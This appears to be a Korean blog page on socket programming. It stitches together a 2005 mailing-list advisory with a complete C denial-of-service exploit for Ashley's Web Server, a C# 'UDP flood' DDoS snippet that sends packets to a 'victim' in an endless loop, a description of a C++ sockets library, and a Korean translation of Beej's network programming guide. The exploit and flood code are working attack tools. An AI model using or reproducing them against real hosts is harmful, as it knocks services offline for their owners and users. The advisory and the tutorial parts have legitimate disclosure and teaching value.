[EXPL] Ashley's Web Server DoS (Exploit)

From: SecuriTeam <support@securiteam.com.>To: list@securiteam.comDate: 1 May 2005 18:28:18 +0200Subject: [EXPL] Ashley's Web Server DoS (Exploit)Content-Type: text/plain; charset=us-asciiContent-Transfer-Encoding: 7bitMessage-Id: <20050502075415.BF9F757EE@mail.tyumen.ru.>X-Virus-Scanned: antivirus-gw at tyumen.ruThe following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com- - promotionThe SecuriTeam alerts list - Free, Accurate, Independent.Get your security news from a reliable source.http://www.securiteam.com/mailinglist.html - - - - - - - - -  Ashley's Web Server DoS (Exploit)------------------------------------------------------------------------SUMMARY <http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=34274&lngWId=1>; Ashley's "Web Server is simple open source Web Server, it supports perl CGI, directory listings, custom front pages and custom error pages".Buffer overflow condition exists in Ashley's Web Server when a very long text string is passed as argument to server.DETAILSVulnerability:Currently, the server only supports GET without modification of the CGI scripts, although, a full range of $ENV variables are available to the CGI scripts (query_string, remote_addr, server_port, server_addr, etc.)A simple URL driven denial of service or buffer overflow condition occurs when a very long text string is sent to the web service. By sending a especially crafted request to the HTTP server it is possible to cause server crash.Vulnerable code (Form1.frm):otherheaders = Mid(otherheaders, 1, InStr(1, otherheaders, vbNewLine & vbNewLine) - 1)When trying to connect and send GET request ,the source debug code will show:'Run-time error '5';Invalid procedure call or argumentThis cause a remote machine running the web server to stop responding.Exploit:/*  Ashley's Server DoS Exploit---------------------------------INFGP - Hacking&security ResearchResolve host...[OK] [+] Connecting...[OK]Target lockedSending bad procedure...[OK] [*] Server DoS'ed..that must be hurt! Greats: Infam0us Gr0up,Yudha(mephisthopeles),Kavling Community. Info: 98.to/infamous*/#include <string.h>#include <winsock2.h>#include <stdio.h>#pragma comment(lib, "ws2_32.lib")char doscore[] = "GET  HTTP/1.0 ""\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76""\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73""\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54""\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20""\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74""\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70""\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78""\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63""\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a""\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b""\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43""\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b""\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65""\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36""\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c""\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38""\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73""\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68""\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67""\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65""\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69""\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20""\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67""\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70""\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69""\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d""\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63""\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f""\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a""\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41""\x69\x6d\x61\x67\x65\r\n";int main(int argc, char *argv[]){WSADATA wsaData;WORD wVersionRequested;struct hostent *pTarget;struct sockaddr_in sock;char *target;int port,bufsize;SOCKET inetdos;if (argc < 2){printf("        Ashley's Server DoS Exploit \n", argv[0]);printf("  -------------------------------------\n", argv[0]);printf("    INFGP - Hacking&Security Research\n\n", argv[0]);printf("[-]Usage: %s [target] [port]\n", argv[0]);printf("[?]Exam: localhost 80\n", argv[0]);exit(1);}wVersionRequested = MAKEWORD(1, 1);if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;target = argv[1];port = 80;if (argc >= 3) port = atoi(argv[2]);bufsize = 1024;if (argc >= 4) bufsize = atoi(argv[3]);inetdos = socket(AF_INET, SOCK_STREAM, 0);if(inetdos==INVALID_SOCKET){printf("Socket ERROR \n");exit(1);}printf("Resolve host... ");if ((pTarget = gethostbyname(target)) == NULL){printf("FAILED \n", argv[0]);exit(1);}printf("[OK]\n ");memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);sock.sin_family = AF_INET;sock.sin_port = htons((USHORT)port);printf("[+] Connecting... ");if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) ))){printf("FAILED\n");exit(1);}printf("[OK]\n");printf("Target locked\n");printf("Sending bad procedure... ");if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1){printf("ERROR\n");closesocket(inetdos);exit(1);}printf("[OK]\n ");printf("[+] Server DoS'ed\n");closesocket(inetdos);WSACleanup();return 0;}ADDITIONAL INFORMATIONThe information has been provided by  <mailto:basher13@linuxmail.org.> eric basher.
This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

'Computer Science' 카테고리의 다른 글

Contour Plotting using Java  (0) 2009.05.26
The P2P Framework Implementation (Python version)  (0) 2009.05.18
[C#] UDP flood snippet  (0) 2009.05.18
C++ 소켓 프로그래밍 라이브러러  (0) 2009.05.18
인터넷 소켓 활용  (0) 2009.05.18
[C#] UDP flood snippet

Code:
__________________
/////////////////////////////////
// UDP flood by t0fx //
// Give credits if you use it//
/////////////////////////////

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace DDOS
{
class UDP
{
public static string IP = "127.0.0.1"; // IP
public static int Port = 123; // udp port

static void Main(string[] args)
{
IPAddress victimIp = IPAddress.Parse(IP);
IPEndPoint victim = new IPEndPoint(victimIp, Port);
byte[] packet = new byte[1470]; // packet to send
int ms = 1000; // loop every 1000ms
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
Console.WriteLine("Sending UDP packets to : " + IP + " On port : " + Port + " every : " + ms + " ms");
while (true)
{
socket.SendTo(packet, victim);
Thread.Sleep(ms);
}

}

}

}

c++ socket Programming Framework

http://www.alhem.net/Sockets/index.html

C++ Sockets Library

About
This is a GPL licensed C++ class library wrapping the berkeley sockets C API, and therefore works on most unixes and also win32. The library is in use in a number of real world applications, both commercial and open source.

Features include, but are not limited to, SSL support, IPv6 support, tcp and udp sockets, sctp sockets, http protocol, highly customizable error handling. Testing has been done on Linux and Windows 2000, and to some part on Solaris and Mac OS X.

The source code is released under the terms of the GNU GPL, but is also available under an alternative license.

Latest release 2009-05-13: version 2.3.4 - download page.

Please see information about how to configure the library.



Contributed graphics

History
When making this library, there were a few things I wanted to achieve. I did not want to end up with C++ code that had to be used in the same way as the berkeley socket C API are being used ( connect/bind/accept - check result, write - check result, read - check result, etc, etc ). Another thing was the ability to manage multiple sockets in the same thread; the library should be singlethreaded - but not limited to one thread. So.. I never wanted to manage a fd_set for a select() call ever again, no more writing code for accepting a connection - this has already been done again and again in every single networking project ever made.

One decision made early on was to treat one socket as one object. And so was the Socket class born. The socket class, by itself, has all the functions needed for address translation (hostname to ip, ip to hostname etc). It owns the file descriptor / SOCKET handle. But it can't do anything. Code for actually doing something with the socket is implemented in other, Socket derived classes.

The approach; A list of active sockets are monitored using the select() system call. Events resulting from the select() call and surrounding logic (read/write/connect/timeout etc) are reported to each socket using callback methods such as:

  • Socket::OnRead()
  • Socket::OnWrite()
  • Socket::OnConnect()
  • Socket::OnAccept()

The list of sockets are contained in a SocketHandler class. To monitor the sockets, repeated calls to the Select() method are made.

Message board

Post bug reports and feature requests here: C++ sockets library message board - If you are using the C++ sockets library, or have any questions about it. To be notified about the latest changes and additions to the C++ sockets library, subscribe to the project at the C++ sockets library freshmeat.net project page.

External open source projects using the library

Links

BeeJ's Guide to Network Programming.

인터넷 소켓 활용(v.1.5.4, 17-May-1998)

http://www.ecst.csuchico.edu/~beej/guide/net 번역 : 박성호(tempter@fourthline.com),1998/8/20

시작

소켓 프로그램이 어렵나요? 그냥 맨페이지만 보고서는 알아내기가 좀 어럽나요? 뭔가 있어보이는 인터넷 프로그램을 만들고 싶지만 bind()를 호출하고 connect()를 호출하고 이런 저런 구조체를 뒤지고 할 시간이 없나요?

글쎄요, 제가 그 지겨운걸 다 해놓았고요, 여러분과 이 정보를 공유하고 싶군요. 바로 찾아오셨습니다. 이 문서가 바로 평균적인 C 프로그래머에게 네트워크 프로그램에 관련된 정보를 드릴겁니다.


대상

이 문서는 안내서이지 리퍼런스는 아닙니다. 아마도 소켓 프로그래밍을 처음 시작하면서 어디서부터 해야 할지 모르는 사람들에게 도움이 될겁니다. 물론 어떤 의미에서도 이 글은 소켓 프로그래밍에 관한 완벽한 안내서는 아닐 겁니다. 단지 도저히 의미를 알 수 없던 맨페이지들을 조금씩 이해하게 되기만 바랄 뿐입니다.


사용도구

대부분의 코드는 리눅스 PC에서 GNU의 gcc를 이용하여 컴파일 되었습니다. 또한 HPUX에서 gcc를 이용해서 컴파일 된다는 것도 확인했습니다. 그러나 모든 작은 코드들이 테스트 된것은 아니라는 것을 기억하시기 바랍니다.

(이하 존칭 생략)


내용


소켓이란 무엇인가.

소켓이란 단어는 많이 들었을 것이다. 그리고 아마도 그 소켓이 정확히 무엇인가에 대하여 궁금해 하기도 했을 것이다. 소켓은 정규 유닉스 파일 기술자를 이용하여 다른 프로그램과 정보를 교환하는 방법을 의미한다.

뭐라고라?

좋다. 아마도 유닉스를 잘하는 사람들이 이렇게 얘기하는 것을 들어본 적이 있을 것이다. "유닉스에서는 모든게 파일로 되어있군!" 실제로 그들이 얘기하는 것은 모든 유닉스 프로그램들이 어떤 종류의 입출력을 하더라도 파일 기술자를 통해서 하게 된다는 것이다. 파일 기술자는 사실 열려진 파일을 의미하는 정수일 뿐이다. 그러나 그 파일은 네트워크가 될수도 있고 FIFO, 파이프, 터미널, 실제 디스크상의 파일이 될수도 있으며 그 밖의 무엇도 다 된다는 것이다. 유닉스의 모든것은 파일이다! 따라서 당신이 인터넷을 통하여 멀리 떨어진 다른 프로그램과 정보를 교환하기 위해서는 파일 기술자를 이용하면 된다는 것이다. 믿으쇼~

"똑똑이 양반, 그 파일 기술자는 도대체 어떻게 만드는거요?" 라는게 당신의 맘속에 지금 막 떠오른 질문일 것이다. 여기에 대답이 있다. socket()을 호출하면 소켓 기술자를 얻게 되고 send(), recv()등의 소켓에 관련된 함수를 호출하여 정보를 교환할 수 있다. (man send, man recv를 해봐도 됨)

"잠깐!" 이렇게 이의를 제기하겠지. "그 소켓 기술자가 파일 기술자라면 도대체 왜 read(),write()를 쓰면 안되는거요?" 짧게 말하면 맞다. 그러나 send(),recv()를 쓰는 것이 여러모로 네트워크를 통한 정보전달을 제어하기에 도움이 된다는 것이다.

다음은 뭔가? 소켓의 종류는? DARPA 인터넷 주소(인터넷 소켓), 경로명과 지역노드(유닉스 소켓), CCITT X.25 주소(X.25 소켓, 그냥 무시해도 됨)등이 있고 아마도 당신이 쓰는 유닉스에 따라서 더 많은 종류의 소켓들이 있을 것이다. 이 문서는 첫번째 (인터넷 소켓) 하나만 설명할 것이다.


두가지 종류의 소켓

인터넷 소켓에 두가지 종류가 있나? 그렇다. 음..사실은 거짓말이다. 좀 더있긴 하지만 겁을 주고 싶지 않기 때문에 이것 두가지만 이야기 하는 것이다. RAW 소켓이라는 매우 강력한 것도 있으며 한번 봐두는 것도 좋다.

두가지 종류는 무엇인가? 하나는 스트림소켓 이고 다른 하나는 데이터그램 소켓이다. 이후에는 SOCK_STREAM, SOCK_DGRAM으로 지칭될 것이다. 데이터그램 소켓은 비연결 소켓이라고도 한다. (비록 그 소켓에서도 원한다면 connect()를 사용할 수도 있다. connect()절을 참조할것)

스트림 소켓은 양측을 신뢰성있게 연결해 주는 소켓이다. 만약 두가지 아이템을 이 소켓을 통하여 보낸다면 그 순서는 정확히 유지될 것이다. 에러까지 교정된다. 만일 에러가 생긴다면 당신 실수이고 당신실수를 막는 방법은 여기서 설명하지 않을 것이다.

스트림 소켓은 어디에 쓰이는가? 아마도 텔넷이라고 들어봤을 것이다. 들어봤느뇨? 그게 이 소켓을 쓴다. 입력한 모든 글자는 그 순서대로 전달이 되야 하는 경우이다. 사실 WWW사이트의 포트 80에 텔넷으로 접속하여 "GET pagename" 을 입력하면 HTML 화일의 내용이 우르르 나올 것이다.

어떻게 스트림 소켓이 이정도의 정확한 전송 품질을 갖추게 되는가? 이 소켓은 TCP를 이용하기 때문이다. (Transmission Control Protocol, RFC-793에 무척 자세하게 나와있다.) 아마도 TCP 보다는 TCP/IP를 더 많이 들어봤을 것이다. 앞부분은 바로 이 TCP이고 뒷부분의 IP는 인터넷 라우팅을 담당하는 프로토콜이다.

괜찮군~ 데이터그램 소켓은 어떤가? 왜 비연결이라고 하는지? 내용에 무슨 관련이 있는지? 왜 신뢰도가 떨어지지? 사실 이 소켓의 경우 당신이 데이터그램을 보낸다면 정확히 도착할 수도 있다. 또는 패킷들의 순서가 바뀌어서 도착할 수도 있다. 그러나 만약 도착한다면 그 내용은 사실 정확한 것이다.

데이터그램 소켓 또한 라우팅에는 IP를 이용하지만 TCP는 이용하지 않는다. 사실은 UDP(RFC-768)을 이용한다.

연결을 안하는가? 스트림 소켓에서처럼 열려있는 연결을 관리할 필요가 없는 것이다. 그냥 데이터 패킷을 만들어서 목적지에 관련된 IP헤더를 붙여서 발송하기만 하면 되는 것이다. 연결이 필요없다. 보통 tftp나 bootp 에 사용되는 것이다.

좋아! 그러면 데이터 패킷이 도착하지 않을지도 모르는 이런 걸 어떻게 실제 프로그램에서 사용하지? 사실 프로그램들은 UDP위에 그 나름대로의 대책을 갖추고 있는 것이다. 예를 들면 tftp같은 경우에는 하나의 패킷을 보낸 후에 상대편이 잘 받았다는 응답 패킷이 올때까지 기다리는 것이다. 만약 일정시간(예를 들면 5초)동안 응답이 없으면 못받은 것으로 간주하고 다시 보내고, 다시 보내고 응답이 있으면 다음 패킷을 보내고 하게 되는것이다. 이 잘받았다는 응답(ACK reply) 방식은 사실 SOCK_DGRAM을 사용할 경우 매우 중요하다.


네트워크 이론과 저아래의 알수없는 것들

간단히 프로토콜의 레이어에 대해서 언급을 했지만(UDP위에 나름대로의 대책 어쩌구) 이제는 실제로 네트워크가 어떻게 작동하는 지를 알아볼 때가 되었고 실제로 SOCK_DGRAM이 어떻게 구성되는 지를 알아볼 필요가 있을 것같다. 사실 이 절은 그냥 넘어가도 된다.

[Encapsulated Protocols Image] 여러분~ 이제는 데이타 캡슐화에 대하여 배우겠어요~ 사실 이것은 매우 중요하다. 얼마나 중요하냐면 우리 학교에서 네트워크 코스를 통과하려면 반드시 알아야 하는 사항이기 때문이다. (흠..) 내용은 이렇다. 데이터 패킷이 만들어지면 먼저 첫번째 프로토콜(tftp 프로토콜)에 필요한 머리말과 꼬리말이 붙는다. 이렇게 한번 캡슐화된 내용은 다시 두번째 프로토콜(UDP)에 관련된 머리말과 꼬리말이 다시 붙게 된다. 그 다음에는 IP, 그 다음에는 마지막으로 하드웨어 적인 계층으로서 이더넷 프로토콜로 캡슐화가 되는 것이다.

다른 컴퓨터에서 이 패킷을 받게 되면 하드웨어가 이더넷 헤더를 풀고 커널에서 IP와 UDP 헤더를 풀고 tftp 프로그램에서 tftp헤더를 풀고 하여 끝으로 원래의 데이터를 얻게 되는 것이다.

이제 드디어 악명높은 계층적 네트워크 모델(Layered Network Model)을 얘기할 때가 된것 같다. 이 모델은 다른 모델들에 비해서 네트워크의 시스템을 기술하는 측면에서 많은 이점이 있다. 예를 들면 소켓 프로그래밍을 하는 경우 더 낮은 계층에서 어떤 물리적인 방식(시리얼인지 thin ethernet인지 또는 AUI방식인지)으로 전달되는 지에 대하여 전혀 신경을 쓰지 않고도 작업이 가능해 질 수 있다는 것이다. 실제 네트워크 장비나 토폴로지는 소켓 프로그래머에게는 전혀 관계없는 분야이다.

더이상 떠들지 않고 다음 계층들을 일러 주는데 만일 네트워크 코스에서 시험을 보게 될 경우라면 외우는 것이 좋을 것이다.

  • Application
  • Presentation
  • Session
  • Transport
  • Network
  • Data Link
  • Physical

물리적 계층(Physical layer)는 하드웨어(시리얼, 이더넷등) 이다. 어플리케이션 계층은 상상할 수 있듯이 물리적 계층의 반대편 끝이다. 이 계층을 통하여 사용자는 네트워크와 접촉하게 되는 것이다.

사실 이 모델은 자동차 수리 설명서 처럼 실질적인 뭔가를 할 수 있기에는 너무나 일반적인 얘기이다. 유닉스의 경우를 들어 보다 실질적인 얘기를 해 본다면,

  • Application Layer (telnet, ftp, etc.)
  • Host-to-Host Transport Layer (TCP, UDP)
  • Internet Layer (IP and routing)
  • Network Access Layer (was Network, Data Link, and Physical)

이러한 계층으로 살펴 본다면 아까의 데이터 캡슐화가 각각 어떤 계층에 속하는 가를 알 수 있을 것이다.

이렇게 많은 작업이 하나의 데이터 패킷을 만드는데 동원되는 것이다. 이 내용을 당신이 데이터의 패킷 머리부분에 몽땅 타이핑 해 넣어야 한다는 얘기다. (물론 농담이다.) 스트림 소켓의 경우 데이터를 내보내기 위해 해야 할 일은 오직 send()를 호출하는 것 뿐이다. 데이터 그램의 경우에는 원하는 방식으로 데이터를 한번 캡슐화하고 (tftp방식등) sendto()로 보내버리면 되는 것이다.커널이 전송계층과 인터넷 계층에 관련된 캡슐화를 하고 나머지는 하드웨어가 한다. 아~ 첨단 기술!!

이것으로 간단한 네트워크 이론은 끝이다. 참, 라우팅에 관해서 하고 싶던 얘기들을 하나도 안했다. 흠, 하나도 없다. 정말이지 라우팅에 관해서 하나도 얘기하지 않을 것이다. 라우터가 IP헤더를 벗겨내서 라우팅 테이블을 참조하여 어쩌구 저쩌구...만일 정말로 여기에 관심이 있다면 IP RFC를 참조할 것이며 만약 거기에 대해서 하나도 알지 못한다면! 생명에 지장은 없다.


struct S

결국은 여기까지 왔군. 드디어 프로그래밍에 관한 얘기를 할 때이다. 이 절에서는 실제로 꽤나 이해하기 어려운 소켓 인터페이스에서 쓰이는 여러가지 데이터 타입에 대한 얘기를 할 예정이다.

먼저 쉬운것. 소켓 기술자이다.소켓 기술자의 데이터 형은

	int

이다. 그냥 보통 int이다. (정수형)

뭔가 좀 이상하더라도 그냥 참고 읽기 바란다. 이것은 알아야 한다. 정수에는 두 바이트가 있는데 상위 바이트가 앞에 있거나 또는 하위 바이트가 앞에 있게 된다. 앞의 경우가 네트워크 바이트 순서이다. 어떤 호스트는 내부적으로 네트워크 바이트 순서로 정수를 저장하는 경우도 있으나 안그런 경우가 많다. 만일 NBO라고 언급된 정수가 있다면 함수를 이용하여 (htons()함수) 호스트 바이트 순서로 바꾸어야 한다. 만약 그런 언급이 없다면 그냥 내버려 둬도 된다.

첫번째 구조체, struct sockaddr. 이 구조체는 여러가지 형태의 소켓 주소를 담게된다.

    struct sockaddr {        unsigned short    sa_family;    /* address family, AF_xxx       */        char              sa_data[14];  /* 14 bytes of protocol address */    };

sa_family 는 여러가지가 될 수 있는데, 이 문서에서는 그중에서 "AF_INET"인 경우만 다루게 된다. sa_data 는 목적지의 주소와 포트번호를 가지게 된다. 약간 비실용적이군.

sockaddr 구조체를 다루기 위해서는 다음과 같은 parallel structure를 만들어야 한다. ("in"은 인터넷을 의미한다.)

    struct sockaddr_in {        short int          sin_family;  /* Address family               */        unsigned short int sin_port;    /* Port number                  */        struct in_addr     sin_addr;    /* Internet address             */        unsigned char      sin_zero[8]; /* Same size as struct sockaddr */    };

이 구조체는 각각의 항을 참조하기가 좀더 쉬운 것 같다. 주의할 점은 sin_zero배열은 sockaddr 과 구조체의 크기를 맞추기 위해서 넣어진 것이므로 bzero()memset()함수를 이용하여 모두 0으로 채워져야 한다. 또한 꽤 중요한 점인데, 이 구조체는 sockaddr 의 포인터를 이용하여 참조될 수 있고 그 반대도 가능하다는 것이다. 따라서 socket()함수가 struct sockaddr * 를 원하더라도 struct sockaddr_in을 사용할 수 있고 바로 참조할 수도 있는 것이다. 또한 sin_familysa_family에 대응되는 것이며 물론 "AF_INET"로 지정되어야 하며 sin_port, sin_addr은 네트워크 바이트 순서로 되어야 하는 점이 중요한 것이다.

그러나! 어떻게 struct in_addr sin_addr 전체가 NBO가 될 수 있는가? 이 질문은 살아남은 가장 뭣같은 유니온인 struct in_addr 에 대한 보다 신중한 검토가 필요할 것같다.

    /* Internet address (a structure for historical reasons) */    struct in_addr {        unsigned long s_addr;    };

음.. 이것은 유니온 "이었었"다. 그러나 그런 시절은 지나갔다. 시원하게 없어졌군! 따라서 만약 "ina"를 struct sockaddr_in형으로 정의해 놓았다면 ina.sin_addr.s_addr 로 NBO 상태의 4바이트 인터넷 어드레스를 정확하게 참조할 수 있을 것이다. 만약 사용하는 시스템이 struct in_addr에 그 끔찍한 유니온을 아직도 사용하고 있더라도 #defines S 덕분에 위에 한것과 마찬가지로 정확하게 참조할 수는 있을 것이다.


순서 바꾸기

이제 다음 절로 왔다. 네트워크와 호스트 바이트 순서에 대해서 말이 너무 많았고 이제는 실제 움직일 때라고 본다.

좋다. 두가지 형태의 변환이 있는데 하나는 short(2 바이트)와 long(4바이트)의 경우이다. 이 함수들은 unsigned변수에서도 잘 작동된다. 이제 short변수를 호스트 바이트 순서에서 네트워크 바이트 순서로 변환하는 경우를 보자. 호스트의 h 로 시작해서 to 를 넣고 네트워크의 n 을 넣은 후 short의 s 를 넣는다. 그래서 htons()이다. (읽기는 호스트 투 네트워크 쇼트이다.)

너무 쉬운가?

사실 h,n,s,l 의 어떤 조합도 사용가능하다. (물론 너무 바보스러운 조합을 하지는 않겠지..예를 들어 stolh, 쇼트 투 롱 호스트?? 이런건 없다. 적어도 이 동네에서는없다.) 있는 것들은 다음과 같다.

  • htons()--"Host to Network Short"
  • htonl()--"Host to Network Long"
  • ntohs()--"Network to Host Short"
  • ntohl()--"Network to Host Long"

아마도 이제 상당히 많이 알게된 것같이 생각들을 할 것이다. "char의 바이트 순서를 어떻게 바꾸지?(역자주: 이 질문은 아마 의미없는 질문으로 한 것 같은데 답도 없고 더이상의 언급이 없는 것으로 보아 빼고 싶은 부분이다.)" 또는 "염려마, 내가 쓰는 68000 기계는 이미 네트워크 바이트 순서로 정수를 저장하니까 변환할 필요는 없어 " 라고 생각할 수도 있을 것이다. 그러나 꼭 그렇지만은 않다. 그렇게 작성된 프로그램을 다른 기계에서 작동시킨다면 당연히 문제가 발생할 것이다. 여기는 유닉스 세계고 이기종간의 호환성은 매우 중요한 것이다. 반드시 네트워크에 데이터를 보내기 전에 네트워크 바이트 순서로 바꿔서 보낸다는 것을 기억할 지어다.

끝으로 sin_addr, sin_port는 네트워크 바이트 순서로 기록하는데 왜 sin_family는 안 그러는가? 답은 간단하다. sin_addrsin_port는 캡슐화되어 네트워크로 전송되어야 하는 변수인 것이다. 따라서 당연히 NBO여야 한다. 그러나 sin_family는 시스템 내부에서 커널에 의해서만 사용되는 변수이며 네트워크로 전송되지 않는 것이므로 호스트 바이트 순서로 기록되어야 하는 것이다.


IP주소는 무엇이며 어떻게 다루는가?

다행스럽게도 IP주소를 산정해 주는 수많은 함수들이 있으며 따라서 4바이트의 long변수에 직접 계산해서 << 연산자를 이용해서 집어넣어야 하는 수고는 할 필요가 없다.

먼저 struct sockaddr_IN ina가 정의되어 있고 132.241.5.10 이 IP 주소이며 이 값을 변수에 넣어야 한다고 가정해 보자. inet_addr()함수가 바로 이럴때 사용하는 것이다. 그 함수는 숫자와 점으로 구성된 IP주소를 unsigned long 변수에 집어 넣어 준다. 다음과 같이 하면 된다.

ina.sin_addr.s_addr = inet_addr("132.241.5.10")

inet_addr()는 결과값으로 이미 NBO인 값을 돌려주며 굳이 htonl()을 또 사용할 필요는 없다는 점에 주의해야 한다. 멋지군!

그러나 위의 짤막한 코드는 그렇게 견실해 보이진 않는다. 왜냐하면 inet_addr()은 에러의 경우 -1을 돌려주게 되며 unsigned long에서 -1은 255.255.255.255를 의미한다. 이는 인터넷 브로드캐스트 어드레스가 된다. 나쁜 녀석. 항상 에러 처리를 확실히 하는것이 좋다.

좋다. 이제 IP주소를 long에 넣는것은 알았는데 그 반대는 어떻게 할 것인가? 만약에 값이 들어있는 struct in_addr은 가지고 있는데 이를 숫자와 점으로 표시하려면? 이 경우는 inet_ntoa()를 쓰면 된다.(ntoa 는 네트워크 투 아스키이다.)

    printf("%s",inet_ntoa(ina.sin_addr));

위의 코드는 IP주소를 프린트 해 줄것이다. 이 함수는 long 변수가 아니라 struct in_addr 를 변수로 받아 들인다는 점을 주의해야 한다. 또한 이 함수는 char 에 대한 포인터를 결과로 돌려 주는데 이는 함수내에 static 한 공간에 저장되며 따라서 매번 함수가 호출될 때마다 이 포인터가 가리키는 곳의 값은 변화한다는 것이다. 즉 예를 들면,

    char *a1, *a2;    .    .    a1 = inet_ntoa(ina1.sin_addr);  /* this is 198.92.129.1 */    a2 = inet_ntoa(ina2.sin_addr);  /* this is 132.241.5.10 */    printf("address 1: %s\n",a1);    printf("address 2: %s\n",a2);

의 출력은 이렇게 나올 것이다.

    address 1: 132.241.5.10    address 2: 132.241.5.10

만약에 이 값을 저장해야 할 필요가 있다면 strcpy()를 이용하여 고유의 char 배열에 저장해야 할 것이다.

이절에서 얘기할 것은 다 했다. 나중에 "whitehouse.gov" 문자열을 해당하는 IP주소로 바꾸는 법을 알려 줄것이다. (DNS절 참조)


socket() ; 파일 기술자를 잡아라

안하면 맞을것 같아서 socket() 시스템 호출에 대해서 얘기해야만 할것같다. 이걸 잠깐 보자.

    #include <sys/types.h>     #include <sys/socket.h>     int socket(int domain, int type, int protocol);

그런데 이 변수들은 또 뭔가? 첫째 domain 은 struct sockaddr_in 에서처럼 AF_INET 로 지정하면 된다. 다음 type 은 SOCK_STREAM이나 SOCK_DGRAM으로 지정하면 된다. 끝으로 protocol은 0으로 지정하면 된다. (언급하지 않았지만 더 많은 domain과 더 많은 type 이 있다는 것을 기억하라. socket() 맨페이지를 참고하고 또한 protocol 에 대해서 좀더 알려면 getprotobyname()을 참조하면 된다.)

socket()은 바로 나중에 사용할 소켓 기술자인 정수값을 돌려주며 에러시에는 -1을 돌려주게 된다. 전역변수인 errno에 에러값이 기록된다. (perror()의 맨페이지를 참조할것.)


bind() ; 나는 어떤 포트에 연결되었나?

일단 소켓을 열게 되면 이 소켓을 현재 시스템의 포트에 연결시켜 주어야 한다. (이 작업은 보통 listen()함수를 이용해서 외부의 접속을 대기할 때 시행되며 일반적으로 머드게임 사이트들이 telnet *.*.*.* 6969 로 접속하라고 할때도 이 작업을 시행했다는 의미이다. ) 만약에 그저 다른 호스트에 연결하기만 할 예정이라면 그냥 connect()를 사용하여 연결만 하면 되고 이 작업은 필요가 없다.

아래는 bind() 시스템 호출의 선언이다.

    #include <sys/types.h>     #include <sys/socket.h>     int bind(int sockfd, struct sockaddr *my_addr, int addrlen);

sockfd는 socket()함수에서 얻은 소켓 기술자이며 my_addr은 IP 주소에 관한 정보(즉, IP 주소와 포트번호)를 담고 있는 struct sockaddr 에 대한 포인터 이고 addrlen은 그 구조체의 사이즈(sizeof(struct sockaddr))이다.

휴~~ 한방에 받아들이기에는 좀 그렇군. 예를 보자.

